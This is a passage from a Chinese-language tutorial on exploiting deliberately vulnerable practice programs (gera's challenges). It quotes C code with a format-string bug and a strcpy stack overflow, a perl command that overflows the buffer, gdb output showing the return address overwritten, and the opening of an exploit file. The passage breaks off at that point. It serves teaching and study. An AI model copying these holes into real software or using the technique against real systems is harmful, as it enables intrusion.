int main(int argv,char **argc) { /* Can you do it changing the stack? */ /* Can you do it without changing it? */ printf(argc[1]); while(1); } 请参考拙作<<利用格式化串覆盖*printf()系列函数本身的返回地址>>
★ 3.2 演示二
/* e2.c * /* specially crafted to feed your brain by gera@core-sdi.com */
/* Now, your misson is to make abo1 act like this other program: * char buf[100];
while (1) { scanf("%100s",buf); system(buf); }
* But, you cannot execute code in stack. */
int main(int argv,char **argc) { char buf[256]; strcpy(buf,argc[1]); } 唯一需要满足的条件是stack是不能运行的。
[alert7@redhat62 alert7]$ ./e2 `perl -e 'print "a"x264'` Segmentation fault (core dumped) [alert7@redhat62 alert7]$ gdb e2 core -q Core was generated by `./e2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x61616161 in ?? ()
/* eXP_e2.c * alert7 exploit for e2 */ #include <stdio.h>
